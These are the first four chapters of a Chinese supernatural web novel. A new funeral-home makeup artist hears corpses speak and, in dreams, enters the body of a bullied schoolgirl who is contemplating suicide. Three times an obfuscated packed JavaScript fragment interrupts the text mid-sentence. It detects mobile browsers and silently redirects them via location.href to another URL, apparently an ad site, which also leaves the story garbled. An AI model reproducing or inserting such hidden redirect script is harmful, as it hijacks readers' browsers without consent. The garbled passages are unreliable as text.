《在殡仪馆打工的我无所不能》 1. 第 1 章 空气中弥漫着夜来香的味道。 有些刺鼻。 温时简微微皱眉,睁开了眼睛。 夜色下点点昏黄的灯光交映,穿着统一服饰的少年人三两成群,如潮水一般,一拨接一拨的从楼里涌了出来。 夜风携着他们嬉戏打闹的声音,去往每一个角落。 这是……哪儿? 温时简有些茫然。 她记得自己战战兢兢上了一天班,回到宿舍简单洗漱之后,直接倒床上睡了。 所以现在是在做梦? 她扭头打量四周。 这一看,顿时吓得不轻。 她此刻正坐在楼顶天台的围栏上,双脚悬空,稍有不慎就会掉下去。 即便是在梦里,温时简依旧谨慎小心的赶紧爬了下来,远离不必要的危险。 这是一个无星无月的夜晚。 天台上很黑,只有旁边楼体上的灯带投来些微的光。 温时简抬头向远处看去,无尽的黑暗中,只有那么零星几盏不太明显的灯火。 结合这些零碎的信息,温时简得出结论: 她所身处的,应该是一处坐落在偏僻之地的学校。 夜风呼啸。 温时简感觉有些冷,低头去看,自己一身短袖长裤的搭配,不出意外是学校统一采购的校服。 她觉得有些奇怪,这里并不是她从前就读过的学校,她甚至对此处没有丝毫印象,为什么会莫名其妙的做这样一个梦? 并且这个梦给人的感觉有些太真实了。 视觉,听觉,嗅觉,触觉…… 就像是真的身处现实,而非虚幻缥缈的梦境。 而且不知道是不是错觉,刚才从天台围栏上爬下来的时候,温时简有一种莫名的感觉,脑子里似乎有另一道意识在试图阻止她。 温时简正思考着,忽然听见身后不远处传来压低的交谈声。 “刘良你手能不能老实一点……” “摸一下怎么了……” 温时简心底猛然生出恐慌的感觉,这份突如其来的情绪犹如气球一般迅速膨胀,瞬间将她的灵魂挤出了身体。 意识归于黑暗。 - 小苍山殡仪馆,员工宿舍楼。 室外的灯光透过窗纱照进屋里,谈不上多亮堂,只能看清个大致轮廓。 温时简猛一下睁开眼。 她的眼神有些茫然,视线打量一圈周围环境,意识到这里是宿舍后,思绪渐渐清晰。 “好奇怪的梦……” 夜里温度降了下来,再加上这个特殊的环境,温时简拉了拉身上的夏凉被盖好,一时没了睡意。 她脑子里不受控制的回想起昨天的经历,就跟这个梦一样莫名其妙,并且让人恐惧。 昨天是温时简正式上班的第一天,工作地点是殡仪馆,岗位是遗体化妆师。 她毕业于师范学院历史教育专业,跟这个工作沾不上半毛钱的关系。 按照原定的轨迹,温时简毕业后将会回到老家,成为那座小城市里无数普通教师中的一员。 领着不算多但也不算少的工资,大概率每天都会有生不完的气…… 但也不是完全没好处,最起码假期是相对比较多的。 温时简本来已经通过了两所中学的笔试,接下来就准备去面试。 然而在面试的前一天晚上,一通来自外省的电话,将一切计划都打乱了。 远在外省的姐姐遭遇了车祸,被紧急送往医院进行抢救。 而车祸发生路段的监控前些段时间坏了没修好,逃逸的肇事车辆暂未找到。 交警委婉的告诉温时简,那片区域情况十分复杂,短时间内估计都找不到人。 这就意味着,姐姐的手术费,温时简得自己想办法解决。 那笔钱对于她而言,是一个天文数字。 温时简坐在病房外的长椅上,看着医院幽深狭长的走廊发呆。 时光好似在倒转,一夕之间,她又变回了那个坐在屋前桃树下看着弯曲小路发呆的小女孩。 那一次,是姐姐向她伸出了手…… 忽然手机震动起来,有电话打了进来。 “你最近似乎急需一笔钱,我恰好知道一个工作,月薪两万,买五险一金,包吃包住……你要不要试一试?” 打电话给温时简的,是同校的学姐秦知毓。 一如当年,这次也有人向她伸出手。 温时简没有问秦知毓为什么会知道她缺钱的事,秦知毓这个人,在学校里的时候,就很神通广大,而且一直对她照顾有加。 她只是好奇,这样的好工作,怎么会轮到她一个普通师范生? 秦知毓简单介绍道,“工作地点是殡仪馆,职位是遗体化妆师,经常需要加夜班,以及出外勤……” 温时简自认是个胆大的人,但这个工作,还是有些超出她的认知。 果然高薪是有原因的。 “可是这种工作,一般都只招专业对口的吧?”温时简疑惑问道。 退一万步来说,缺钱的人多了去了,怎么想也轮不到她来捡漏。 “正常情况下是这样的,”电话那头的秦知毓毫不避讳,直言道,“但是招人的这家殡仪馆,情况有些特殊。” “这事情电话里说不清楚,具体情况我发你vx了,你先看看。” 温时简花了十分钟,看完秦知毓发来的总结文档。 她再次感叹,天底下果然没有白吃的午餐。 秦知毓提到的那家殡仪馆,坐落于金海市西郊的小苍山上,名字就叫小苍山殡仪馆。 大约是在一个半月以前,小苍山殡仪馆的一个遗体化妆师,在回家路上遭遇车祸,导致右手骨折。 当时所有人都以为那只是一场普通的意外。 然而没过两天,又出事了。 另一个遗体化妆师,早上出门下楼梯的时候一脚踩空,摔出了轻微脑震荡以及几处骨折。 然后是第三个,在家里做饭,砍排骨的时候把自己手砍了。 大家开始意识到不对劲,特别是其他遗体化妆师,做事尽可能小心谨慎。 可惜没什么用。 一周不到的时间,又有两个遗体化妆师发生意外,住进了医院。 不仅如此,殡仪馆其他地方,也开始有异常情况出现。 就像是恐怖故事的开端。 “刚开始的时候,殡仪馆应该有招新的遗体化妆师进去吧?”温时简询问。 “招了几个,但是连能撑过三天的都没有。”秦知毓语气有些凝重。 “现在殡仪馆那边几乎是把条件放宽到是个人就行,不会可以慢慢学,只要能坚持过一周,就可以直接签转正合同。” 不可否认,小苍山殡仪馆开出的薪资福利很诱人。 但与之相对应的风险,却高得有些离谱。 是以秦知毓一开始压根没考虑过温时简。 却没料到如今温时简急需很大一笔钱,且后续的花销也可预见的会很高。 “害怕了吗?”秦知毓问。 温时简如实回道,“有点。” 秦知毓语气稍微缓和了一些,“其实也不完全都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156025|164937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是坏消息,出事之前,小苍山殡仪馆一共六个遗体化妆师,其中五个发生了意外,后续招进来的人也都碰上了各种事故,但有一个人从始至终都没有受到影响。” 秦知毓为此特意找人打听情况,最终得出一个不太靠谱的结论——那位没事的阿姨八字比较硬,能压得住邪祟。 八字硬,还有另一个说法,那就是克亲。 温时简听到这里,心想难怪学姐会想到她。 “学姐,我想去试试。” 温时简当天中午回到金海市,而后花了不到两个小时的时间,就拿到了小苍山殡仪馆为期一周的试用合同。 日薪三百,包吃住,日结。 第二天就开始上班。 温时简自认做足了将会遇到各种意外事故的心理准备,但现实却远远超出了她的认知。 迎接她的不是什么意外事故,而是……灵异事件! 昨天早上,温时简穿着黑白配色的工作制服,跟着那位一系列意外事故中的唯一幸存者同事兼师父,走进了遗体化妆间。 屋里的冷气很足,寒意长袖外套侵袭全身。 化妆台上躺着的是一具车祸丧生的遗体,肢体分离,五官破碎。 这是温时简第一次如此近距离接触死相如此惨烈的遗体。 “你别怕,那些传言都是……”师父出言安慰她。 话音还未落下,在那间只有两个活人的房间里,温时简听到了第三个声音。 “有人吗……” “有没有人……” “求求你,帮帮我……” 声音的来源,正是面前那具早已死去的尸体! - 肥皂洗衣液的味道混杂着厕所的臭味,弥漫鼻腔。 温时简意识到自己似乎又入梦了。 还是跟之前一样真实的梦。 她睁开眼睛,打量四周。 这次的场景是卫生间。 没有灯,只有从没关紧的门缝里挤进来的几缕光,勉强照出这处狭小空间的大致轮廓。 靠墙的一排蹲坑,巨大的蓄水箱,淅沥沥流个不停的水龙头,长长的洗衣台…… 这古早的建筑风格,终于给了温时简一点熟悉感。 十年前她上初中时,学校的卫生间就长这个样。 不同于之前空无一人的天台,这个卫生间里,除了温时简以外,还有三个人,几乎与黑暗融为一体,犹如鬼影一般。 温时简打量着三人,一边思考眼前是个什么情况。 片刻后,其中一人率先开口打破了沉默。 “看什么看,不是要跳下去吗,怎么不动了?” 温时简闻言,眉头一下子就皱了起来。 这是在狗叫什么? 话音落下,余下两人也跟着说话了。 “她要真想跳,下晚自习的时候在天台上就跳了,还用等到现在?” “幸亏刘良他们那会儿去了楼顶,要不然我们都不知道这事,这会儿指不定就被她吓到了!” 温时简:“……?” 怎么全是狗叫? 不过她在这几句话里,捕捉到了两个关键词—— 天台,liuliang。 她今晚经历的第一个梦境,就是在天台上,刚睁开眼,就发现自己一副准备要跳楼的样子。 而在梦醒之前,她听到了‘liuliang’这个名字。 所以,这并非是两个单独的梦,而是一场前后关联的连续梦境? 而她在梦里的身份,是一个不堪霸凌,想要跳楼结束痛苦的学生? 2. 第 2 章 “我今天就站在这里看着,你有本事就真的跳下去!” “就是,要跳赶紧跳!” “你要是真跳了,搞不好我们明天就能放假了,也算你有点作用!” 三个女生,你一句我一句,说着无比恶毒的话,伴随着满含恶意的笑声,在昏暗狭小的空间回响。 由于第一次梦境的时间比较短,又很突兀的结束,而第二场梦境则是才开始,温时简所了解到的信息比较少,只知道她所在的是一所地处偏僻的学校,现在待的地方应该是学生宿舍楼。 这三个女生,听声音年纪应该不大。 可能是初中生,也可能是高中生。 她们的行为很恶劣,说的话更是恶毒。 但在温时简看来,也就那样,甚至有些老套。 因为类似的事情,早在十年前她就经历过。 但梦里的这具身体,并不完全受温时简控制,她似乎有自己的想法,在三人的话音落下后,恐惧似的微微颤抖起来。 这一点,在上一场里梦境里,温时简其实就有所察觉。 当时从天台上爬下来,她就隐隐感觉,身体似乎在对她的行为发出抗拒。 不过那时候她并未多想,毕竟是在梦里,所有的不合理,都很合理。 “看来只是头脑发热,正好再帮你冷静一下。” 温时简正思考着,伴随着这个声音,一盆冷水劈头盖脸浇来,瞬间将她淋成了落汤鸡。 夜风卷着夜来香的臭味从窗外吹进来,犹如雪上加霜。 恶意的嘲笑声又一次响起。 温时简打了个寒颤,心里猛然升起一股极端的情绪,身体又有了失控的迹象,似乎想要带着她从敞开的窗户跳下去。 这是一种有些难以形容的复杂情绪。 恐惧之余,又掺杂了一丝对解脱的向往。 温时简这才注意到,她所在的地方,距离窗户如此之近。 “逃避并不能解决问题。”温时简压下那股陌生的情绪,夺回身体的控制权,远离了窗户。 她的目光环视四周,迅速锁定了最末尾那个蹲坑后的角落。 根据她以前在这种宿舍楼里住了六年的经验,那个角落就是塞各种清洁工具的。 温时简三两步靠过去,手一捞,果然捞到了她想要的东西,一把拖把。 “她在干嘛?” “脑子被水泼坏了?” “不知道,今天就这样吧,真没意思……” 三个女生顾自交流着,看样子是准备暂时结束这场霸凌。 她们并不在乎温时简的想法。 正好,温时简也一样。 她抓起拖把,塞进最后一个蹲坑里猛猛滚了几圈,之后一边往外拿,一边开口喊住准备离开的三人。 “等一下。” 这是温时简在梦里第一次开口说话,声音脱口之后,她自己都愣了一下。 很陌生的声音。 除了她一贯的狠意之外,还掺杂了一点长期形成的怯弱,很符合她对这具身体粗浅的刻板印象。 “你想干嘛?” “怎么不继续装哑巴了?” 三个女孩似乎也没想到温时简会开口叫住她们,语气有些讶异,纷纷回过头来。 卫生间的门已经被拉开了一半,外面的光犹如脱笼的野兽般争先恐后挤了进来,照亮温时简的半张脸,以及她手里的拖把。 “吃屎吧你。” 温时简嘴角挂着冷笑,抡起沾了屎的拖把,朝着离她最近的一个女生脸上呼去。 十年前她都能神挡杀神,佛挡杀佛。 现如今在梦里,还能让几个小女生给欺负了? 蹲坑里经年累积形成的臭味在脸上炸开,被拖把攻击的女生整个懵了,呆愣在原地好几秒才反应过来,发出一声刺耳的尖叫,“啊——!!!” 温时简向来不讲武德,趁着另外两人还没反应过来,沾了屎的拖把已经雨露均沾的在她们脸上走了一遭。 很快又有两声尖叫接连响起,伴随着干呕声和谩骂。 “呕——” “姜晴——呕——你疯了吗——呕!” 大概是拖把沾屎的攻击力太超过了,三个女生根本想不起来反击,你推我挤的,尖叫着逃离卫生间。 温时简收回视线,将手里的拖把放下,转身打开水龙头,简单洗了手和脸,而后又拿起拖把走出卫生间。 三个女生并未走远,就站在门对面的角落里,脸上的表情愤怒又茫然,还夹杂着恶心。 温时简站在卫生间门口,背靠着墙,微微喘气。 这具身体实在太过瘦弱,只是挥了几下拖把,就已经能感觉到疲惫。 黑暗的走廊里亮起一盏又一盏的台灯,还有手机的手电筒,照向卫生间这边。 显然都是被刚才那几声尖叫惊醒的,已经或者将要睡觉的学生。 “怎么了?发生什么事了?” “好像是501的林清清她们?” 温时简微微眯起眼,再一次感觉到这个梦的奇怪。 梦里的她不仅换了身体,还有了一个新名字——jiangqing。 梦里的npc们也有名字,还有完整且清晰的长相。 梦里的故事剧情,并非毫无逻辑强行拼凑的片段,而是有着她所不知道的前因后果。 这真的只是个梦吗? 正思考着,忽然一个沙哑的女声响起,听起来有些岁数了。 “刚才是谁在喊?发生了什么事?” 声音主人的身份很好猜,显然是这栋楼的宿管阿姨。 温时简扭头看去,一个穿着睡衣,身形略微丰腴的女人出现在视野里。 由于地形的原因,宿管阿姨站在那个位置,首先看见的是角落里的三个女生。 头顶的灯光被晾晒的衣服挡了大半,看不太清楚。 她打开了手电筒,迅速将三个人照了一遍,之后根据她们的眼神,准确找到了卫生间门口的温时简。 大致确认了问题的源头,宿管阿姨往里走了几步,手里的手电筒调转方向,强光穿透楼道的黑暗,照亮从宿舍门里探出来的一张张稚嫩的脸。 她板着脸吼道,“大晚上的,一个个还不睡觉,明天不上课了是吧?” 看热闹的人作鸟兽散。 手电筒的光又照回到温时简身上。 不等宿管阿姨询问,她先一步开口说话,“她们三个欺负我一个,拿冷水泼我,还逼我跳楼好给她们放假。” 宿管阿姨:“……?!!” 三个女生也是一脸不敢置信的表情,慌乱否认。 “我没有!” “你别瞎说!” “我们只是……只是……” 温时简阴阳怪气的接话,“你们只是熄灯后把我堵在卫生间跟我培养感情,只是拿冷水泼我,帮我洗澡,只是觉得我活着太痛苦了,想要帮我解脱,对吧?” 她声音不大,但此时的宿舍楼十分安静,离得近的宿舍肯定能听见点声音。 宿管阿姨显然是不想让事情继续闹大,压低了声音训斥道,“时间已经很晚了,不要打扰其他同学休息,你们几个跟我去楼下说。” “阿姨,我身上衣服都湿了,不换掉会感冒。”温时简扯了扯身上湿透的衣服。 这短袖长裤,估计还是之前在天台上穿的那一套。 三个女生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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屋外又有脚步声传来。 是宿管阿姨来了,不过没进来,就站在门边等着。 三个女生顿时熄了火,散开来,回到各自的床位拿东西,弄出乒乒乓乓的声音,像是在宣泄心中的怒气。 温时简很顺利确认了自己的床位。 进门第一张床的下铺,睡在这里,就自动兼职清洁工具管理员和门卫。 被子叠在床尾,睡衣就放在上面。 温时简扯下床尾衣架上挂着的干发帽和毛巾,简单收拾后换上衣服。 忽然,一股强烈的疲惫感袭来,身体里的力气在一点点被抽离。 灵魂的重量似乎在变轻,随时都可能飘离出身体。 温时简有一种预感,这个梦快要结束了。 她视线扫过宿舍里的三个女生,又看了一眼门外站着的宿管阿姨,最后落回到床上。 学生的床上,纸笔是很常见的东西。 温时简拿过笔记本,翻开空白的一页,写下了两个字。 你好。 停顿片刻,又补了一句。 别怕。 想了想,最后留下了自己的电话号码。 温时简写完最后一个数字的瞬间,在上一次梦境里体验过的那种灵魂被挤出身体的感觉袭来。 眼前的一切顿时被黑暗所吞没。 3. 第 3 章 温时简醒来时,窗外已是天光大亮。 她愣了一下,而后赶紧翻身,伸手去捞放在床头柜上充电的手机。 却不想这一动,顿时有一种头痛欲裂的感觉。 不是外伤导致的那种单纯痛感,更像是用脑过度,仿佛有人拿着一根钢筋在脑子里疯狂搅动一样。 温时简双手抱着头,蜷缩在床上,过了好一会儿才稍微缓了过来。 这一次她十分小心,动作缓慢的伸手拿过手机查看时间—— 07:36 殡仪馆早上9点上班,从宿舍楼走过去打卡,也就十分钟左右的事。 温时简顿时松了一口气,悬着的心稍稍放下。 现如今她非常需要这份工作,只需熬过七天的实习期,就能签正式合同。 第一天已经过去了,虽然情况有点……不太妙,但起码她人没事……呃…… 思及此,温时简眉头不自觉微微皱起,一边点开手机的相机,切到前置摄像头。 关掉美颜后,只见一张过分苍白的脸呈现在屏幕里,嘴唇也几乎没有血色,看起来像是死了三天的样子。 这样……也能算是没事吗? 温时简一时也有些不确定。 就这样跟手机里的‘女鬼’对视了几秒后,她手指用力按灭了屏幕。 纠结这一点根本没有意义,反正只要不是命在旦夕,她就不会退缩。 温时简缓慢从床上坐起身来,头依旧还会痛,但对比最开始,已经缓解了很多。 简单洗漱之后,化妆遮住不佳的面色,她换上员工制服,走出了宿舍。 食堂离宿舍楼不远,早餐开到八点半。 温时简一路走过去,期间一直有打量的目光落在她身上。 到了食堂也是如此,大家仿佛看珍惜动物一样看她。 温时简神色如常,挑选好喜欢的食物后,端着餐盘找了个最近的位置坐下。 碗里的汤还没吹凉,就见有人在她对面坐下。 “李姐!”温时简有些意外。 对面的人是她的同事兼师父,名字叫李如明,今年已经五十三岁了,再有两年就能办理退休了。 李如明眉目温和,给人的感觉十分亲切,完全看不出是在殡仪馆里跟尸体打了半辈子交道的人。 她仔细打量了温时简两眼,而后笑了笑,“你看起来还不错。” 温时简很清楚,自己粗劣的化妆技术,根本瞒不过对方的眼睛,这句还不错,更像是一种鼓励。 她笑着点了点头,算是回应。 吃完早餐,师徒二人一起去打了卡,回到遗体楼的时候,时间刚过九点。 “单位跟家属交涉的时间是两天,但我们没必要真的拖满两天。”李如明说着话,轻轻拍了拍温时简的肩膀,率先往遗体化妆间走去。 “走吧,争取早上就把工作结束,给家属多留点时间告别。” 是的,温时简今天要接待的顾客,还是昨天那具……特殊的遗体。 由于之前的一系列意外事故,闹得单位上下人心惶惶,上面索性以遗体楼需要进行故障检修的名义,暂时停掉了对外的遗体化妆这一项服务。 但这并不意味着李如明就没事做了。 还是会有一些特殊的顾客,需要上门提供服务。 此外,殡仪馆还有上面分配下来的任务,每个月必须接收一定数量的遗体,提供免费的火化服务。 而目标对象基本都是来自贫困家庭,或是无亲无故的死者。 前者家庭拿不出这笔钱,后者无人料理后事,但又不能让他们的尸体就在那放着,或者抛尸荒野,就只能塞给殡仪馆了。 当然,温时简的第一位顾客,并不是以上这两种情况。 ‘她’是被买来的。 在温时简签下试用合同后,单位就专门联系了人去找这种车祸丧生的遗体。 死相不那么安详,但本质又会太‘凶’,用来进行教学,正好合适。 一天不到的时间,符合条件的尸体找到了不少,但最终签下来的,只有这么一位。 很快到了遗体化妆间门前。 温时简深吸一口气,压下心中的恐惧,推开门走进去。 她刚走到化妆台旁边,昨天听到的那个声音,又一次响了起来。 “妈……” “……我好想你……” “妈……我想回家……” 温时简脚步一顿。 昨天听到这个声音的时候,她第一反应是自己太过紧张以至于出现了幻听。 之后确定了真的是尸体在说话,她一度很恐惧。 手甚至是整个身体,都控制不住的微微发抖。 脸色也很难看。 李如明倒是没怀疑,只以为温时简是因为第一次接触死状惨烈的尸体不适应,时不时的会安慰她两句。 从早上到下午,那具遗体嘴巴没见动,但说话声就没停过。 或许是恐惧的情绪达到极致,超过了某个阈值,温时简渐渐开始有些麻木。 她人不抖了,手也是,听着尸体发出的那些无意义话音,当成是背景音乐,站在化妆台前,认真看李如明的操作与讲解,偶尔亲自上手试验一下。 不过这种麻木,是暂时而非永久的。 就像是手术时的麻醉药,时间一过,药效也就过去了。 经过一晚上的休息,温时简又恢复成初始状态了。 她带着今日份的新鲜恐惧走进遗体化妆间,已经准备好了再来一次昨天强行适应的过程。 却没想到,尸体今天说的会是这些话。 心里的恐惧像是被一只无形的手拂去大半,多了一些名为心疼的情绪。 化妆台上的这具遗体虽然在车祸中变得面目全非,但从家属提供的照片,以及一些细节可以看得出来,她还很年轻,可能三十岁都不到。 她安静的躺在那里,嘴里重复的喊着妈妈,这两个字,成了她最后的执念。 可是除了温时简,再没有人知道她在说什么。 温时简沉默了片刻,视线看向李如明,开口问道,“李姐,这个人是出车祸走的,再怎么也会有一笔赔偿款,不至于连火化的钱都拿不出来,怎么会……” 虽然人死了,很多事情都变得没有意义。 但没到穷得揭不开锅的地步,或者是有什么深仇大恨,人们都会尽可能的让死者能体面的走完最后一程。 可是眼前这具遗体的家属,明明远没到那一步,却连最后的体面都不给她。 李如明闻言,抬头看了温时简一眼,语气一如平常,没什么起伏,“她是闯红灯出的车祸,赔不了多少钱。单位里的人联系上她爸的时候,对方听明来意,讨价还价几番后,才答应下来。” “这一行做久了,什么事都能碰见,习惯就好。” 温时简垂下眼帘,沉默点头。 她并不是温室里的花朵,丑陋的人和物见过很多,只是这次的情况比较特殊,才会心有戚戚。 气氛变得沉默。 相比昨天,今天李如明的教学就没那么细致了,动作也快了不少。 师徒二人埋头忙碌了三个多小时,终于赶在中午下班前,将遗体打理妥当。 破碎的五官被重新拼凑,而后细心描画,跟照片上相比,已经能看出几分相似。 分离的肢体也一一复位,那些狰狞的伤口,被干净整洁的衣服所遮挡,看起来不再那么吓人。 不仔细看的话,会以为只是一个安静睡着的人。 李如明微微喘着气,拉过旁边的椅子坐下,一边拿出手机打电话。 “01号化妆间,过来接人。” 电话挂断没多大会儿,遗体化妆间的门就被从外面推开,两个身体强壮的男人推着一辆不锈钢材质的推车进来。 他们简单跟李如明打过招呼后,走到化妆台前,合力将装着遗体的棺材抬上推车,推着往外走去。 这期间,两人目光毫不避讳,直勾勾盯着温时简打量了好几眼。 好奇又有些意外,大概是没想到她能坚持到第二天吧。 “走吧。”李如明喘匀了气,站起身来往外走。 温时简跟随其后。 看着渐渐远去的运送车,她迟疑了片刻,还是开口问道,“李姐,我能去看看吗?” 李如明闻言,看了她一眼,又很快收回视线,微微点头,“去吧,有事我会给你打电话。” 温时简于是追着运送车,一路来到了悼念厅。 大门被推开的一瞬间,刚好有一个人从里面走了出来,一边走,一边打着电话,“……你别急,我这就过来……” 走路风风火火的,像是碰上了什么急事。 温时简只用视线余光撇了一眼,并未过多关注。 女人压抑的哭泣声也随之传出来。 温时简跟随运送遗体的推车一同进门。 这个悼念厅很小,一眼就能看尽。 角落里,一个身材瘦小,穿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156027|164937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 素净衣服的身影,跌坐在地上,蜷缩着身体哭泣。 似乎是听到了动静声,她缓缓抬起头来。 头发凌乱干枯,白了大半,一双眼睛哭得红肿,挤压成一条缝。 眼泪鼻涕在脸上糊作一团。 她的视线下意识看向运送车上的棺材,身体僵了一瞬,而后猛然起身,脚步踉跄的扑了过来,嘴里发出痛苦的呼喊。 “小雅,小雅!!!” “我的小雅啊——” “女士,请节哀。”其中一个运输工说着话,准备去将女人拉开。 温时简抢先一步,走上前去将人扶住,“我来吧。” “行。”对方没跟她客气,“你尽量把人拉开,我们要把棺材放下去。” 女人身形瘦弱,但此刻的力气却出乎意料的大。 温时简半劝半强迫的,勉强将人拉开一些。 两个运输工安放好棺材后,便推着车往外走去。 到了门口,准备关门时,见温时简还在里面,其中一人问道,“你不走吗?” “你们先走吧。”温时简礼貌回应。 大门缓缓合上。 小小的悼念厅里,就只剩下温时简和痛哭的女人。 哭喊声在屋子上空回响,久久不散。 除此之外,还有另一个普通人听不到的声音。 “妈,你别哭了,妈……” “别哭了好不好……” “哭也没什么用,求求你了……” 死去的女生名叫方小雅,昨天以及今天来到这个悼念厅之前,她说话的内容,就像是睡梦中人的呓语一样,是无意识的。 而现在,似乎是因为见到了母亲,她的意识和记忆都恢复了。 她一直在试图跟母亲对话,声音焦急而痛苦。 然而生死的界限太过分明,连思念都被隔绝。 女人本就哭了很久,嗓音都变得嘶哑,这会儿几乎快要发不出声音。 身体里的力气似乎也被耗尽了,她无力的瘫坐在棺材旁边。 若非有温时简扶着,估计连坐都坐不稳。 “谢……谢谢……”她睁着红肿的眼,艰难向温时简道谢。 棺材里躺着的方小雅似乎也放弃了,开始不停地重复呢喃。 “我死了,我的钱怎么办……” “我的钱……” “他拿不到,可是我妈也不知道……怎么办……” 女人粗糙干瘦的手,抓着温时简的手,“你是……小雅的朋友吗?” 温时简此刻穿着殡仪馆的制服,一眼就能看得出来,但女人的脑子似乎变得迟钝,又或者她压根就没想。 “谢谢你……陪着我……” “也谢谢你,来看小雅……” 听着这沙哑的嗓子艰难吞吐字音,听着棺材里绝望的呢喃与呜咽,温时简终究是不忍心。 她想为这对母女,做点什么。 几乎是在这个念头冒出来的一瞬间,她脑海里响起一个模糊的声音。 “一念通阴阳。祸兮?福兮?……” 紧接着眼前浮现出一行文字—— 任务:完成方小雅的遗愿。 奖励:观众(注:生活中,观众无处不在。正常人头上不长摄像头,但你是个例外,它将记录你所见的一切) 温时简整个人愣住了。 这是……什么? 她伸手去触碰那一行文字,想确认是不是自己眼花了,却见手从其中穿过。 看得见,摸不着。 不等温时简细想,衣服口袋里的手机忽然震动起来。 她暂且收回思绪,拿出手机看了一下。 一个陌生号码来电,归属地是外省。 温时简犹豫了两秒,还是接通了电话。 “喂。” 电话那头的人没说话,但是有呼吸声传过来,背景音里依稀还能听到说话声,只是听不清具体内容。 “能听到吗?”温时简问了一句。 依旧没有回应。 又等了几秒,她便准备挂断电话。 忽然,一个带着颤音的声音从听筒里传出来。 “你好,我……我是姜晴……” 这个声音,给温时简一种陌生但又有一丝熟悉的感觉。 最重要的是这个名字。 jiangqing…… 温时简想到了那个可能,一双眼睛缓缓瞪大,脸上浮现惊愕的表情,整个人呆愣在原地。 4. 第 4 章 姜晴发现自己撞鬼了,并且是一夜之间连撞两次。 第一次是在教学楼的天台上。 当时她好不容易下定决心,在下晚自习之前,提前离开教室,悄悄爬上了教学楼的天台。 夜空漆黑一片,夜风呼呼作响。 她个子矮,人又笨,费了一番功夫才爬到栏杆上。 那个位置是她观察了好久,精心挑选出来的。 从那里跳下去,不会砸到无辜的人。 至于会不会吓到别人,姜晴已经不想去考虑了。 她要当一回坏孩子。 姜晴最后看了一眼收留她将近两年的学校,心里窝囊的想着,要是能吓到那些欺负她的人就好了。 夜风在那一刻变得温柔,像是在为她送别。 姜晴想象自己是一只振翅欲飞的小鸟,闭上了眼睛,缓缓松开抓住围栏的手。 然后…… 她恍惚听到了熟悉的声音。 再睁开眼,就发现自己已经从天台栏杆上下来了,站在一个很安全的位置。 姜晴很茫然,不知道发生了什么。 打情骂俏的两人很快发现了她。 “姜晴你**有病是吧,不回宿舍,一个人跑天台上干嘛?” “你不会是……想跳楼吧?哈哈哈哈哈哈……” 好不容易鼓起的勇气,就像是一缕烟,微风轻轻一吹就散没了。 姜晴又变回了沉默怯懦的样子,垂下眼睛,甚至不敢跟人对视,就更别提反抗了。 无需驱赶,她自觉的离开了天台,给人腾出位置。 算了,继续活着吧。 姜晴心想,她其实挺怕疼的。 当时她天真的以为,之后的很长一段时间,自己应该都不会再有自杀的勇气。 却没想到,在短短两个半小时后,她再一次站上了靠近窗户的地方。 宿舍里一直欺负姜晴的三个女生,从于莉莉口中得知了她独自一个人偷偷摸摸去教学楼天台的事。 她们不仅是在宿舍里对她明嘲暗讽,等熄灯后,其他人都差不多睡下了,又将她赶到卫生间。 缓缓合上的木门,就像是被阻断的生路。 嘲笑,辱骂,动手动脚。 时间是五月初,白天出太阳的时候气温挺高。 到了夜里,温度就会渐渐降下来。 水龙头里流出来的水,带着一股漂白粉的味道,劈头盖脸浇来,一瞬间透心的凉。 宿舍楼后面是大片的山林,夜间的鸟叫虫鸣声,像是在歌唱自由。 还有来去自如的风。 它带回了姜晴消散的勇气,并对她说:跟我走,我带你去看外面自由广阔的世界。 那一刻,姜晴忘记了周围的一切,跟随那道看不见的风,一步步走向卫生间的窗户。 后来回想,她只记得自己踩到了水池上。 跟之前在教学楼天台上一样,姜晴失去了一段记忆。 但天台上那次,时间很短,前后估计就几分钟,她也只是从天台上下来,别的什么都没做。 而这次…… 对姜晴而言,就是一晃眼的功夫,她发现自己从卫生间回到了宿舍里,正坐在床上,身上穿着干净的睡衣,头发也擦过了,不再滴水。 她完全搞不清楚发生了什么,稀里糊涂的就跟宿舍里那三个女生一起,被带到了一楼的管理室。 宿管阿姨问她们到底什么情况。 三个女生一口咬定只是跟姜晴开玩笑,话里话外,埋怨她开不起玩笑,把事情说得太夸张。 不仅如此,还倒打一耙。 “……本来就是同学之间开玩笑,而且她一个人拿着拖把,追着我们三个人打……呕……” “当时在卫生间门口,阿姨你也看到了,我们三个人走得好好的,突然摔倒了,肯定也是她推的……” 姜晴全程低着头不敢看人,沉默的站在角落里。 听完三个女生的话,她整个人都懵了。 我,一个人,追着她们三个打? 我,故意把她们推倒? 姜晴一度怀疑自己是不是在做梦,否则怎么会听到这么荒谬的话呢? 甚至,她连做梦都不敢这么想。 只要能不被欺负,对她而言,就已经是美梦了。 姜晴不知道自己是怎么走出管理室的,她整个人有些飘飘然,被一种不真实的感觉所环绕着。 她以为自己会睡不着。 